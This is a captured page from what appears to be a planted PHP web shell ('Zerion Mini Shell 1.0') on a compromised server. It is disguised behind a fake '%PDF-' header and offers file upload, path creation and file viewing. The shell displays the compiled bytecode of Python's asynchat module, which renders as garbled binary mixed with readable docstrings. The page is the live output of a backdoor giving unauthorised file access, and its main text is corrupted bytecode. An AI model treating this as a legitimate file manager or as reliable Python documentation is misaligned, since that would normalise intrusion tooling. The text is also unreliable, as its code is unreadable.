%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/__pycache__/asynchat.cpython-38.pyc

U

na@,@sDdZddlZddlmZGdddejZGdddZdd	ZdS)
aA class supporting chat-style (command/response) protocols.

This class adds support for 'chat' style protocols - where one side
sends a 'command', and the other sends a response (examples would be
the common internet protocols - smtp, nntp, ftp, etc..).

The handle_read() method looks at the input stream for the current
'terminator' (usually '\r\n' for single-line responses, '\r\n.\r\n'
for multi-line output), calling self.found_terminator() on its
receipt.

for example:
Say you build an async nntp client using this class.  At the start
of the connection, you'll have self.terminator set to '\r\n', in
order to process the single-line greeting.  Just before issuing a
'LIST' command you'll set it to '\r\n.\r\n'.  The output of the LIST
command will be accumulated (using your own 'collect_incoming_data'
method) up to the terminator, and then control will be returned to
you - by calling your self.found_terminator() method.
N)dequec@seZdZdZdZdZdZdZd(ddZdd	Z	d
dZ
dd
ZddZddZ
ddZddZddZddZddZddZddZd d!Zd"d#Zd$d%Zd&d'ZdS))
async_chatzThis is an abstract class.  You must derive from this class, and add
    the two methods collect_incoming_data() and found_terminator()irzlatin-1NcCs(d|_g|_t|_tj|||dSN)ac_in_bufferincomingr
producer_fifoasyncore
dispatcher__init__)selfsockmapr$/usr/local/lib/python3.8/asynchat.pyrCszasync_chat.__init__cCstddSNzmust be implemented in subclassNotImplementedErrorrdatarrrcollect_incoming_dataQsz async_chat.collect_incoming_datacCs|j|dSN)rappendrrrr_collect_incoming_dataTsz!async_chat._collect_incoming_datacCsd|j}|jdd=|Sr)joinr)rdrrr	_get_dataWszasync_chat._get_datacCstddSrrrrrrfound_terminator\szasync_chat.found_terminatorcCsBt|tr|jrt||j}nt|tr8|dkr8td||_dS)zdSet the input delimiter.

        Can be a fixed string of any length, an integer, or None.
        rz-the number of received bytes must be positiveN)
isinstancestruse_encodingbytesencodingint
ValueError
terminator)rZtermrrrset_terminator_s
zasync_chat.set_terminatorcCs|jSr)r&rrrrget_terminatorjszasync_chat.get_terminatorc
Csz||j}WnDtk
r&YdStk
rT}z|WYdSd}~XYnXt|trr|jrrtt|j	}|j
||_
|j
rt|j
}|}|s|
|j
d|_
q~t|tr|}||kr|
|j
d|_
|j||_n2|
|j
d||j
|d|_
d|_|q~t|}|j
|}|dkrv|dkrX|
|j
d||j
||d|_
|q~t|j
|}|r||kr|
|j
d||j
|d|_
qq~|
|j
d|_
q~dS)Nrr)recvac_in_buffer_sizeBlockingIOErrorOSErrorhandle_errorrr r!r"r#rlenr(rr$r&rfindfind_prefix_at_end)rrwhyZlbr&nZterminator_lenindexrrrhandle_readrsR

	



zasync_chat.handle_readcCs|dSr)
initiate_sendrrrrhandle_writeszasync_chat.handle_writecCs|dSr)closerrrrhandle_closeszasync_chat.handle_closecCsxt|tttfstdt||j}t||kr`tdt||D]}|j	
||||q@n|j	
||dS)Nz#data argument must be byte-ish (%r)r)rr"	bytearray
memoryview	TypeErrortypeac_out_buffer_sizer/rangerrr6)rrZsabsirrrpushszasync_chat.pushcCs|j||dSr)rrr6)rZproducerrrrpush_with_producerszasync_chat.push_with_producercCsdS)z4predicate for inclusion in the readable for select()rrrrrreadableszasync_chat.readablecCs|jp|jS)z4predicate for inclusion in the writable for select())r	connectedrrrrwritableszasync_chat.writablecCs|jddS)zAautomatically close this channel once the outgoing queue is emptyN)rrrrrrclose_when_doneszasync_chat.close_when_donecCs|jr|jr|jd}|s:|jd=|dkr:|dS|j}z|d|}Wn:tk
r|}|rz|j|n|jd=YqYnXt|tr|j	rt
||j}z||}Wnt
k
r|YdSX|r|t|ks|t|kr
||d|jd<n|jd=dSdS)Nr)rrEr9r>r<more
appendleftrr r!r"r#sendr-r.r/)rfirstZobsrZnum_sentrrrr6s8

zasync_chat.initiate_sendcCs d|_|jdd=|jdSr)rrrclearrrrrdiscard_buffersszasync_chat.discard_buffers)NN)__name__
__module____qualname____doc__r+r>r!r#rrrrrr'r(r5r7r9rArBrDrFrGr6rMrrrrr4s,
H(rc@seZdZdddZddZdS)simple_producercCs||_||_dSr)rbuffer_size)rrrTrrrrszsimple_producer.__init__cCsJt|j|jkr6|jd|j}|j|jd|_|S|j}d|_|SdSr)r/rrT)rresultrrrrHszsimple_producer.moreN)rS)rNrOrPrrHrrrrrRs
rRcCs0t|d}|r,||d|s,|d8}q|S)NrC)r/endswith)ZhaystackZneedlelrrrr1/s
r1)rQr	collectionsrr
rrRr1rrrr<module>s\ 

Zerion Mini Shell 1.0